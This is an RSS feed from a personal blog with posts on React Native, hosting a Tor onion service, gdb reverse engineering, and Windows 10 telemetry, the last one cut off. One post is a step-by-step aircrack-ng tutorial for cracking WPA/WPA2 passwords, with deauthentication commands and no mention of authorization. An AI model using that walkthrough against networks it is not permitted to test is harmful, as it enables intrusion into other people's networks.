<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>{ WLog }</title>
        <link>/</link>
        <description>My blog site</description>
        <lastBuildDate>Sun, 02 Aug 2020 14:15:07 GMT</lastBuildDate>
        <docs>http://blogs.law.harvard.edu/tech/rss</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <item>
            <title><![CDATA[Transitioning from React to React Native]]></title>
            <link>/posts/2019-06-07/react-vs-react-native</link>
            <guid>/posts/2019-06-07/react-vs-react-native</guid>
            <content:encoded><![CDATA[<div><h1 id="how-do-you-go-from-react-to-react-native">How do you go from React to React Native?</h1><p>You already use React to build web apps.
You’ve heard about this thing called React Native and want to play with it… or even build a client project with it.</p><p>And you probably have many questions, one of which is:</p><blockquote><p>“Would I get lost if I don’t already know how to build apps with Swift/Java?”</p></blockquote><p>It depends on the app, but the quick answer is No, you won’t get lost. For the most part, things will work just like in React. You have some div-like components, which you can style with something like CSS. You have the same state and props mechanisms.</p><h2 id="when-might-you-need-to-know-some-swiftjava">When might you need to know some Swift/Java?</h2><p>If you plan on writing a full-featured mobile game, React Native will probably be out of consideration. If you need to write some native code, whether to optimize performance, or access native mobile APIs, knowing Swift, Objective-C, or Java will come in handy. Mostly, however, you are not going to need any knowledge of any native language.</p><p>But mobile apps often need to make use of some native APIs… do I have to learn Swift if I need Touch ID support? Even when you <em>do</em> have to make use of some native functionality, chances are, there’s a React Native wrapper for that already!</p><p>React Native comes bundled with some native wrappers:</p><ul><li><a href="https://facebook.github.io/react-native/docs/imagepickerios.html"><code>ImagePickerIOS</code></a></li><li><a href="https://facebook.github.io/react-native/docs/alert.html"><code>Alert</code></a></li></ul><p>And there are npm packages for things like <a href="https://github.com/naoufal/react-native-touch-id">Touch ID</a> and many more.</p><p>Which sometimes can require some fiddling around in Xcode or editing Gradle files (no worries if you have no idea what these are), but their readmes usually give clear step by step guidance on what to do.</p><p>In most cases, running <code>react-native link &lt;package-name&gt;</code> will do that for you, automatically!</p><p>What about distribution?</p><p>While the first-hand experience of Xcode, iTunes Connect and things in-between would be beneficial, you can follow the steps to submit your app even <em>without</em> knowing any Swift or Java.</p><p>While we’re at it…</p><h2 id="react-vs-react-native">React vs. React Native</h2><p>Here is a quick run-down of differences between React and React Native:</p><ul><li><p>Most of React knowledge is transferrable to React Native.</p><p>State, props, everything works the same way as you’d expect it to.</p></li><li><p><code>&lt;View&gt;</code> instead of <code>&lt;div&gt;</code>.</p><p>A <a href="https://facebook.github.io/react-native/docs/handling-text-input.html">different component for text input</a>.</p></li><li><p>Many of CSS properties are supported by React Native.</p><p>You have flexbox and absolute positioning and colors and borders and so on.</p><p>You don’t get CSS transitions, though. But React Native <em>does</em> come with a <a href="https://goshakkk.name/react-native-animated-building-blocks/">very powerful API for animations</a>.</p><p>Also —- no media queries.</p></li><li><p>There are no class names, however. You have to pass in the styles directly to the components: <code>&lt;View style={{ margin: 10 }}&gt;</code>.</p></li><li><p><code>fetch</code> works as you’d expect it to.</p></li><li><p><a href="https://facebook.github.io/react-native/docs/asyncstorage.html"><code>AsyncStorage</code></a> in place of <code>localStorage</code>.</p></li><li><p>Android support can be quirky. <code>overflow: visible</code> is not supported, and until recently, there were <code>zIndex</code> issues.</p></li></ul></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to deploy a server on the dark web]]></title>
            <link>/posts/2019-06-14/host-server-dark-web</link>
            <guid>/posts/2019-06-14/host-server-dark-web</guid>
            <content:encoded><![CDATA[<div><p>The Tor browser can be downloaded from <a href="https://www.torproject.org/projects/torbrowser.html.en">here</a>.
Once installed, you can open the browser, and it will automatically connect to the Tor network.
You can view your route through the Tor network by clicking the drop-down arrow next to the onion icon in the upper left part of the window.</p><p>Tor has been protecting people’s identity from being uncovered and allowed them to express their ideas over the internet anonymously.
A significant <a href="https://metrics.torproject.org/">number of people</a> misuse this network to visit banned websites, download sexual content by bypassing filters and most importantly, tor is used by hackers to attack organizations without revealing their identity.
An example for the latter was the <a href="https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/">Skynet Botnet</a> in which the Command and Control servers (C∧C) were hidden behind the Tor network.</p><h2 id="how-does-tor-work-">How Does TOR Work ?</h2><p>Tor consists of a network of relay servers which are run by volunteers all over the world. When a user connects to the Tor network using Tor client/Tor enabled browser, a path is created from the user to the destination server to which the user needs to connect. This path consists of three relay servers called Entry Node, Middle Node and Exit Node.
All the requests the sender sends to the destination through the Tor network are relayed through this pre-built path and the responses from the destination returns back to the sender through the same path. All the data going through the Tor network is completely encrypted such that nobody who intercepts the communication have no clue who the sender is. But, if one sniffs outgoing link from the exit node can capture the data transmitted both sides, but anonymity is still secured
When you download Tor from the website, you can run Tor as a local <a href="https://en.wikipedia.org/wiki/SOCKS">SOCKS</a> proxy in you computer. When your browser is configured to use that local SOCKS proxy, you can browser internet with that browser through the tor network. You can configure many applications to use this SOCKS proxy and use them through Tor network, these applications include web browsers, download manager software, bittorrent clients etc.</p><p><strong>However, this blog post focuses more how to deploy a server using the onion routing protocal over tor and not an introduction to how Tor works.
You can find the exact specifics of how tor works <a href="https://2019.www.torproject.org/about/overview#thesolution">here</a>. Moving on.</strong></p><h2 id="section-1---running-a-simple-python-server">Section 1 - Running a simple python server</h2><p>The first step in configuring a Tor server will be setting up a way to serve HTTP content, just the same as a regular web server might. While we might choose to run a conventional web server at 0.0.0.0 so that it becomes accessible to the internet as a whole by its IP, we can bind our local server environment to 127.0.0.1 to ensure that it will be accessible only locally and through Tor.
On a system where we can call a Python module directly, we might choose to use the <strong>http.server</strong> module. After changing directories to one which contains content we would like to host, we can run a server directly from the command line.
Using Python 3 and <strong>http.server</strong>, we can use the following string to bind to 127.0.0.1 and launch a server on port 8080.
Just be sure that it’s bound to 127.0.0.1 to prevent discovery through services such as <a href="https://www.shodan.io/">Shodan</a>.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ python3 -m http.server --bind 127.0.0.1 8080
</code></pre><p>In order to make testing the server easier, it may be useful to create an “index.html” file in the directory from which the server is being run. Something as simple as the file below will work.</p><pre><code>&lt;html&gt;
&lt;body&gt;
W.L
&lt;/body&gt;
&lt;/html&gt;
</code></pre><p>To ensure that our server is functional, we’ll want to test our local address 127.0.0.1 or <code>localhost</code> in a web browser by opening it as an address followed by a port number, as seen below:</p><p><a href="%5Bhttp://localhost:8080%5D">http://localhost:8080</a></p><p>With our local server environment configured and available at 127.0.0.1:8080, we can now start to link our server to the Tor network.</p><h2 id="section-2---configuring-the-tor-service">Section 2 - Configuring the tor service</h2><p>First, you confirm that the Tor service is installed. The Tor service is separate from the Tor Browser and for Linux, it is <a href="https://2019.www.torproject.org/docs/tor-doc-unix.html.en">available here</a>. On Ubuntu or Debian-based distros with <strong>apt</strong> package manager, the following command should work assuming Tor is in the distro’s repositories.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo apt-get install tor
</code></pre><p>To confirm the location of our Tor installation and configuration, we can use <strong>whereis</strong>.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ whereis tor
</code></pre><p>This will show us a few of the directories which Tor uses for configuration. We’re looking for our “torrc” file, which is most likely in /etc/tor.
In order to direct Tor to our service, we’ll want to un-comment the following two lines in the <code>torcc</code> file.
To do this, we simply remove the “#” symbols at the beginning of those two lines.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80
</code></pre><p>Next, we’ll want to correct the port on which Tor looks for our server. If we’re using port 8080, we’ll want to correct the line from port 80 to port 8080. We will change the original seen below to the correct port number.
We will change this to port 8080</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">HiddenServicePort 80 127.0.0.1:8080
</code></pre><p>Save and exit. If there’s any permission problems just run it with <code>sudo</code>.</p><h2 id="section-3---testing">Section 3 - Testing</h2><p>Once we confirm that the necessary changes have been made to the <code>torcc</code> file and the python’s http server is running at localhost:8080, we can simply run the following command to start the tor service.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo tor
</code></pre><p>Upon starting Tor for the first time with our new configuration, an .onion address will be generated automatically. This information will be stored in <code>/var/lib/tor/hidden_service</code>
We then cd to that directory</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ cd /var/lib/tor/hidden_service
</code></pre><p>After running <code>ls</code> to ensure that both the <code>hostname</code> and <code>private_key</code> files are in the directory, we can view our newly generated address.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ cat hostname
</code></pre><p>The string ending in .onion is our the service address.
While this one was automatically generated, we can customize it if necessary.
We can test that our service is accessible by opening it in Tor Browser.
If the address resolves to your server, you’ve successfully hosted a tor server!</p><h2 id="section-4---extra-optional">Section 4 - Extra (Optional)</h2><p>In order to customize our onion address, we’ll need to generate a new private key to match a custom hostname. Due to the nature of Tor addresses being partially hashes, in order to create a custom address, we’ll need to brute-force the address we want.
The more consecutive characters of a word or phrase we’d like to use, the longer it will take to generate.</p><p>There are a few open source tools available for this, <a href="https://github.com/ReclaimYourPrivacy/eschalot">Eschalot</a> and <a href="https://github.com/lachesis/scallion">Scallion</a> being some of the more popular ones.
<code>Scallion</code> uses the GPU to generate addresses, while <code>Eschalot</code> works using wordlists. That’s about it.
You can deploy any time of HTTP server using this, there’s no requirement to stick with python’s HTTP server.
You could run run the same HTTP server using Node.Js which is actually what I would personally prefer.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ npm i -g http-server
$ http-server
</code></pre></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse engineering binaries using gdb]]></title>
            <link>/posts/2019-06-21/gdb-reverse-engineering</link>
            <guid>/posts/2019-06-21/gdb-reverse-engineering</guid>
            <content:encoded><![CDATA[<div><h2 id="general-note-on-compiling-for-debugging">General note on compiling for debugging:</h2><p>Normally, to enable the debugger to use the source code, you would compile a program using the <code>-g</code> flag:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ gcc -g program.c -o program (for lowest level of optimization), or

$ gcc -g -O2 program.c -o program (for optimization level 2)
</code></pre><p>The <code>-g -O2</code> combination is valid and enables one to to debug the optimized executable. However the compiler will have generated a lot of optimizations, which will make it more difficult to step through the code. Using -g with no optimizations works best for debugging with source code.</p><h2 id="examining-the-executable-file">Examining the executable file</h2><p>The symbol table is sometimes useful to identify calls to standard library functions, (e.g., <code>printf</code>), as well as the bomb’s own functions. Note that the symbol table is always present in the executable, even if the executable was compiled without the -g switch. </p><p>You can look at all the bomb’s symbol table by using <code>nm</code>:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ nm bomb
</code></pre><p>Examine the symbols marked with a T (capital t), and ignore the ones that start with an _ (underscore). These are names of functions from the C program that was used to compile the bomb. </p><p>Next, take a look at the printable strings from the file:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ strings program 
</code></pre><p>This can often provide clues that will help you understand the program. Then, use <code>objdump</code> to disassemble the bomb:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ objdump -d program | less
</code></pre><h2 id="gdb-gnu-debugger">GDB (GNU DeBugger) </h2><p>gdb is a debugger commonly used when programming, but it is also useful for reverse engineering binary code. It lets you step through the assembly code as it runs, and examine the contents of registers and memory. You can also set breakpoints at arbitrary positions in the program. Breakpoints are points in the code where program execution is instructed to stop. This way, you can let the debugger run without interruption over large portions of code, such as code that we already understand or believe is error-free.</p><h2 id="starting-gdb">Starting gdb</h2><p>Start gdb by specifying what executable to debug:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ gdb program 
</code></pre><p>You can run the program in the debugger just as you would outside the debugger, except that you can instruct the program to stop at certain locations and inspect current values of memory and registers. As a last resort, you can use (Ctrl-C) to stop the program and panic out. But this is not recommended and is usually not necessary, as long as you positioned our breakpoints appropriately.</p><p>To start a program inside gdb:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) run

To start a program inside gdb, with certain input parameters:
$ (gdb) run parameters

Examples:
$ (gdb) run &lt; ./solution.txt
(equivalent to ./program &lt; solution.txt, but inside gdb)

$ (gdb) run -d 1
(equivalent to ./program -d 1)

To exit gdb and return to the shell prompt:
$ (gdb) quit
</code></pre><p>Note that exiting gdb means you lose all of your breakpoints that you set in this gdb session. When you re-run gdb, you need to respecify any breakpoints that you want to re-use.</p><h2 id="breakpoints">Breakpoints</h2><p>We wouldn’t be using gdb if all we did was run the program without any interruptions. We need to stop program execution at certain key positions in the code, and then examine program behavior around those positions. How do we pick a good location for a breakpoint?</p><p>First, you can always set a breakpoint at &#x27;main’, since every C program has a function called <code>main</code>.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) break main
</code></pre><p>You can also set breakpoints at the other functions you identified with <code>nm</code>.</p><p>To set a breakpoint at the machine instruction located at the address 0x401A23:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">(gdb) break *0x401A23
</code></pre><p>Note: don’t forget the &#x27;0x’. If you forget it, and if you are unlucky enough that the address doesn’t contain any A,B,C,D,E,F characters, breakpoint address will be interpreted as if given in the decimal notation. This results in a completely different address to what was desired, and breakpoint won’t work as expected.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">To see what breakpoints are currently set:
$ (gdb) info break

To delete one or more breakpoints:
$ (gdb) delete &lt;breakpoint number&gt;

Example:
$ (gdb) delete 4 7
erases breakpoints 4 and 7. 
</code></pre><h2 id="terminating-program-execution-from-within-gdb">Terminating program execution from within gdb</h2><p>We can terminate the program at any time:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) kill
</code></pre><p>Note that this doesn’t exit gdb, and all your breakpoints remain active. You can re-run the program using the run command, and all breakpoints still apply.</p><h2 id="stepping-through-the-code">Stepping through the code</h2><p>To execute a single machine instruction, use</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) stepi
</code></pre><p>Note that if you use <code>stepi</code> on a callq instruction, debugger will proceed inside the called function.\
Also note that pressing <div></div> re-executes the last gdb command. To execute several <code>stepi</code> instructions one after another, type <code>stepi</code> once, and then press <div></div> several times in a row. </p><p>Sometimes we want to execute a single machine instruction, but if that instruction is a call to a function, we want the debugger to execute the function without our intervention. This is achieved using &#x27;nexti’:\</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) nexti
</code></pre><p>Program will be stopped as soon as control returns from the function, i.e. at the instruction immediately after callq in the caller function. </p><p>If you accidentally use stepi to enter a function call, and you really don’t want to debug that function, you can use “finish” to resume execution until the current function returns. Execution will stop at the machine instruction immediately after the “callq” instruction in the caller function, just as if we had called “nexti” in the first place:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) finish
</code></pre><p>Note: make sure the current function can really be run safely without your intervention. You don’t want it to call explode_bomb. </p><p>To instruct the program to execute (without your intervention) until the next breakpoint is hit, use:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) continue
</code></pre><p>The same warning as in the case of “finish” applies. </p><p>If program contains debugging information (i.e., it was compiled with the -g switch to gcc), you can also step a single C statement:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) step
</code></pre><p>Or, if next instruction is a function call, you can use “next” to execute the function without our intervention. This is just like nexti, except that it operates with C code as opposed to machine instructions:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) next
</code></pre><h2 id="disassembling-code-using-gdb">Disassembling code using gdb</h2><p>You can use <code>disassemble</code> to disassemble a function or a specified address range. </p><p>To disassemble function some_function:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) disassemble some_function
</code></pre><p>To disassemble the address range from 0x4005dc to 0x4005eb:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) disassemble 0x4005dc 0x4005eb
</code></pre><h2 id="examining-registers">Examining registers</h2><p>To inspect the current values of registers:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">(gdb) info registers
</code></pre><p>This prints out the current values of all registers.</p><p>To inspect the current values of a specific register (assuming 32-bit registers):</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) p $eax

To print the value in hex notation:
$ (gdb) p/x $eax
</code></pre><p><strong>Note</strong>: if you are debugging a 64-bit program, replace the EXX regirsters with RXX (e.g. use $rax instead of $eax). Using “p $eax” to print just the lower 32 bits of the register doesn’t work (at least with some versions of gdb). You have to print a full 64-bit register.</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">To see the address of the next machine instruction to be exectued:
$ (gdb) frame
or, equivalently, you can inspect the instruction pointer register:
$ (gdb) p/x $eip

You can also inspect the value of a variable:
$ (gdb) p buffer

or its address:
$ (gdb) p &amp;buffer
</code></pre><p>When debugging a C/C++ program for which the source code is available, you can also inspect the call-stack (a list of all nested function calls that led to the current function being executed):\</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) where
</code></pre><h2 id="examining-memory">Examining memory</h2><p>To inspect the value of memory at location 0x400746:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) x/NFU 0x400746
</code></pre><p>Here:</p><ul><li>N = number of units to display</li><li>F = output format (hex=h, signed decimal=d, unsigned decimal=u, string=s, char=c)</li><li>U = defines what constitutes a unit: b=1 byte, h=2 bytes, w=4 bytes, g=8 bytes</li></ul><p>Note that output format and unit definition characters are mutually distinct from each other.</p><p>Examples:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">To use hex notation, and print two consecutive 64-bit words, starting from the address 0x400746 and higher:
$ (gdb) x/2xg 0x400746

To print a null-terminated string at location 0x400746:
$ (gdb) x/s 0x400746

To use hex notation, and print five consecutive 32-bit words, starting from the address 0x400746:
$ (gdb) x/5xw 0x400746

To print a single 32-bit word, in decimal notation, at the address 0x400746:
$ (gdb) x/1dw 0x400746
</code></pre><h2 id="examining-core-files">Examining core files</h2><p>If your program segfaults, it is sometimes useful to examine the core dump (for example, memory addresses may be different when running a program in gdb and when executing it separately). To do this, you first have to configure your operating system to dump core:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ uname -c unlimited
</code></pre><p>When a program receives a segmentation fault (SEGFAULT) signal, you will find a corefile (typically called core or core.PID, where PID is the ID of the process that crashed) in the current directory. Load it in gdb as follows:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ (gdb) core corefile
</code></pre><p>You can then use all the gdb commands described above to examine the state of the stack, variables, memory, etc. when the process crashed.</p><h2 id="gdb-references">GDB references</h2><ul><li><a href="https://www.cs.umd.edu/class/spring2015/cmsc414/downloads/gdb-refcard.pdf">Quick reference card</a></li><li><a href="http://www.gnu.org/software/gdb/documentation/">The full manual</a></li></ul></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking wireless access points]]></title>
            <link>/posts/2019-06-27/aircrack-ng</link>
            <guid>/posts/2019-06-27/aircrack-ng</guid>
            <content:encoded><![CDATA[<div><p>If you want to know how to hack WiFi access points — just read this step by step <code>aircrack-ng</code> tutorial, run the verified commands and crack passwords easily.</p><p>With the help a these commands you will be able to hack WiFi AP (access points) that use WPA/WPA2-PSK (pre-shared key) encryption.</p><p>The basis of this method of hacking WiFi lies in capturing of the WPA/WPA2 authentication handshake and then cracking the PSK using &#x27;aircrack-ng’.</p><h1 id="section-1-aircrack-ng-download-and-install">Section 1, Aircrack-ng: Download and Install</h1><hr/><h3 id="how-to-hack-wireless-access-points----the-action-plan">How to hack Wireless Access Points — the action plan:</h3><ol><li>Download and install the latest <code>aircrack-ng</code></li><li>Start the wireless interface in monitor mode using the <code>airmon-ng</code></li><li>Start the <code>airodump-ng</code> on AP channel with filter for BSSID to collect authentication handshake</li><li>[Optional] Use the <code>aireplay-ng</code> to deauthenticate the wireless client</li><li>Run the <code>aircrack-ng</code> to hack the WiFi password by cracking the authentication handshake</li></ol><h3 id="install-the-required-dependencies">Install the required dependencies:</h3><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo apt-get install build-essential libssl-dev libnl-3-dev pkg-config libnl-genl-3-dev
</code></pre><h3 id="download-and-install-the-latest-aircrack-ng-current-version">Download and install the latest <code>aircrack-ng</code> (<a href="http://www.aircrack-ng.org/doku.php?id=install_aircrack#current_version">current version</a>):</h3><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz  -O - | tar -xz
$ cd aircrack-ng-1.2-rc4
$ sudo make
$ sudo make install
</code></pre><h3 id="ensure-that-you-have-installed-the-latest-version-of-aircrack-ng">Ensure that you have installed the latest version of <code>aircrack-ng</code>:</h3><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ aircrack-ng --help

  Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d&#39;Otreppe
  http://www.aircrack-ng.org
</code></pre><h1 id="section-2-airmon-ng-monitor-mode">Section 2, Airmon-ng: Monitor Mode</h1><hr/><p>Now it is required to start the wireless interface in monitor mode.
Monitor mode allows a computer with a wireless network interface to monitor all traffic received from the wireless network.
What is especially important for us — monitor mode allows packets to be captured without having to associate with an access point.
Find and stop all the processes that use the wireless interface and may cause troubles:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo airmon-ng check kill
</code></pre><h3 id="start-the-wireless-interface-in-monitor-mode">Start the wireless interface in monitor mode:</h3><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo airmon-ng start wlan0
Interface   Chipset     Driver

wlan0       Intel 6235  iwlwifi - [phy0]
                (monitor mode enabled on mon0)
</code></pre><p>In the example above the <code>airmon-ng</code> has created a new wireless interface called <code>mon0</code> and enabled on it monitor mode.
So the correct interface name to use in the next parts of this tutorial is the <code>mon0</code>.</p><h1 id="section-3-airodump-ng-authentication-handshake">Section 3, Airodump-ng: Authentication Handshake</h1><hr/><p>Now, when our wireless adapter is in monitor mode, we have a capability to see all the wireless traffic that passes by in the air.
This can be done with the <code>airodump-ng</code> command:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo airodump-ng mon0
</code></pre><p>All of the visible APs are listed in the upper part of the screen and the clients are listed in the lower part of the screen:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe
66:77:88:99:00:11  -64      134     345   34   1  54e  WPA2 CCMP   PSK  SomeAP

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56
00:11:22:33:44:55  GG:HH:II:JJ:KK:LL  -78    0 - 1      0       1
66:77:88:99:00:11  MM:NN:OO:PP:QQ:RR  -78    2 - 32      0       1
</code></pre><p>Start the <code>airodump-ng</code> on AP channel with the filter for BSSID to collect the authentication handshake for the access point we are interested in:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo airodump-ng -c 1 --bssid 00:11:22:33:44:55 -w WPAcrack mon0 --ignore-negative-one
</code></pre><table><thead><tr><th>Option</th><th>Description</th></tr></thead><tbody><tr><td><code>-c</code></td><td>The channel for the wireless network</td></tr><tr><td><code>--bssid</code></td><td>The MAC address of the access point</td></tr><tr><td><code>-w</code></td><td>The file name prefix for the file which will contain authentication handshake</td></tr><tr><td><code>mon0</code></td><td>The wireless interface</td></tr><tr><td><code>--ignore-negative-one</code></td><td>Fixes the “fixed channel : -1” error message</td></tr><tr><td></td><td></td></tr></tbody></table><p>Now wait until <code>airodump-ng</code> captures a handshake.
If you want to speed up this process — go to the step #4 in section 1 and try to force wireless client reauthentication.
After some time you should see the <code>WPA handshake: 00:11:22:33:44:55</code> in the top right-hand corner of the screen.
This means that the <code>airodump-ng</code> has successfully captured the handshake:</p><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">CH 1 ][ Elapsed: 20 s ][ 2014-05-29 12:46  WPA handshake: 00:11:22:33:44:55

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

00:11:22:33:44:55  -48      212     1536   66   1  54e  WPA2 CCMP   PSK  CrackMe

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -44    0 - 1    114       56
</code></pre><h1 id="section-4-aireplay-ng-deauthenticate-client">Section 4, Aireplay-ng: Deauthenticate Client</h1><hr/><p>If you can’t wait till <code>airodump-ng</code> captures a handshake, you can send a message to the wireless client saying that it is no longer associated with the AP.
The wireless client will then hopefully reauthenticate with the AP and we’ll capture the authentication handshake.</p><h3 id="send-deauth-to-broadcast">Send deauth to broadcast:</h3><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 mon0 --ignore-negative-one
</code></pre><h3 id="send-directed-deauth-attack-is-more-effective-when-it-is-targeted">Send directed deauth (attack is more effective when it is targeted):</h3><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ sudo aireplay-ng --deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0 --ignore-negative-one
</code></pre><table><thead><tr><th>Option</th><th>Description</th></tr></thead><tbody><tr><td><code>--deauth 100</code></td><td>The number of de-authenticate frames you want to send (0 for unlimited)</td></tr><tr><td><code>-a</code></td><td>The MAC address of the access point</td></tr><tr><td><code>-c</code></td><td>The MAC address of the client</td></tr><tr><td><code>mon0</code></td><td>The wireless interface</td></tr><tr><td><code>--ignore-negative-one</code></td><td>Fixes the “fixed channel : -1” error message</td></tr></tbody></table><h1 id="section-5-aircrack-ng-hack-wifi-password">Section 5, Aircrack-ng: Hack WiFi Password</h1><hr/><p>Unfortunately there is no way except brute force to break WPA/WPA2-PSK encryption.
To hack WiFi password, you need a password dictionary.
And remember that this type of attack is only as good as your password dictionary.
You can download some dictionaries from <a href="https://wiki.skullsecurity.org/Passwords">here</a>.</p><h3 id="crack-the-wpawpa2-psk-with-the-following-command">Crack the WPA/WPA2-PSK with the following command:</h3><pre><code class="language-console" data-language="console" data-highlighted-line-numbers="">$ aircrack-ng -w wordlist.dic -b 00:11:22:33:44:55 WPAcrack.cap
</code></pre><table><thead><tr><th>Option</th><th>Description</th></tr></thead><tbody><tr><td><code>-w</code></td><td>The name of the dictionary file</td></tr><tr><td><code>-b</code></td><td>The MAC address of the access point</td></tr><tr><td><code>WPAcrack.cap</code></td><td>The name of the file that contains the authentication handshake</td></tr></tbody></table><pre><code>                     Aircrack-ng 1.2 beta3 r2393

               [00:08:11] 548872 keys tested (1425.24 k/s)

                       KEY FOUND! [ 987654321 ]

  Master Key    : 5C 9D 3F B6 24 3B 3E 0F F7 C2 51 27 D4 D3 0E 97
                   CB F0 4A 28 00 93 4A 8E DD 04 77 A3 A1 7D 15 D5

  Transient Key : 3A 3E 27 5E 86 C3 01 A8 91 5A 2D 7C 97 71 D2 F8
                   AA 03 85 99 5C BF A7 32 5B 2F CD 93 C0 5B B5 F6
                   DB A3 C7 43 62 F4 11 34 C6 DA BA 38 29 72 4D B9
                   A3 11 47 A6 8F 90 63 46 1B 03 89 72 79 99 21 B3

  EAPOL HMAC    : 9F B5 F4 B9 3C 8B EA DF A0 3E F4 D4 9D F5 16 62
</code></pre></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What data is collected from your Windows 10 machine and where its going]]></title>
            <link>/posts/2019-06-29/windows-10-telemetry</link>
            <guid>/posts/2019-06-29/windows-10-telemetry</guid>
            <content:encoded><![CDATA[<div><p>Windows 10 includes a piece of software called the Connected User Experience and Telemetry component, also known as the Universal Telemetry Client (UTC). It runs as a Windows service with the display name DiagTrack and the actual service name utcsvc. Microsoft has engineered this component as a part of Windows. You can see the <code>DiagTrack</code> service in the Services console in Windows 10. It’s not a secret.</p><p>To find the process ID (PID) for the service, look on the Services tab in Windows Task Manager. This piece of information is useful for anyone who wants to monitor activities of the DiagTrack service using other software tools. I used that PID to watch the activity of the DiagTrack service.</p><h2 id="what-data-is-collected-from-a-windows-10-machine">What data is collected from a Windows 10 machine?</h2><p>Telemetry data includes information about the device and how it’s configured (including hardware attributes such as CPU, installed memory, and storage), as well as quality-related information such as uptime and sleep details and the number of crashes or hangs. Additional basic information includes a list of installed apps and drivers. For systems where the telemetry is set to a level higher than Basic, the information collected includes events that analyze interaction between the user and the operating system and apps.</p><h2 id="where-is-the-telemetry-data-stored">Where is the telemetry data stored?</h2><p>On a Windows 10 machine, telemetry data is stored in encrypted files in the hidden <strong>%ProgramData%\Microsoft\Diagnosis</strong> folder. The files and folders in this location are not accessible to normal users and have permissions that make it difficult to snoop in them. Even if you could look into the contents of those files, there’s nothing to see, because the data files are encrypted locally.</p><h2 id="where-is-all-the-data-going">Where is all the data going?</h2><p>Moment of truth. You can find the DNS hostnames below. Unfortunately hostnames like these aren’t super helpful. Different people can look up the hostnames to different IP addresses, depending on their location. Routers need IP ranges to block, not 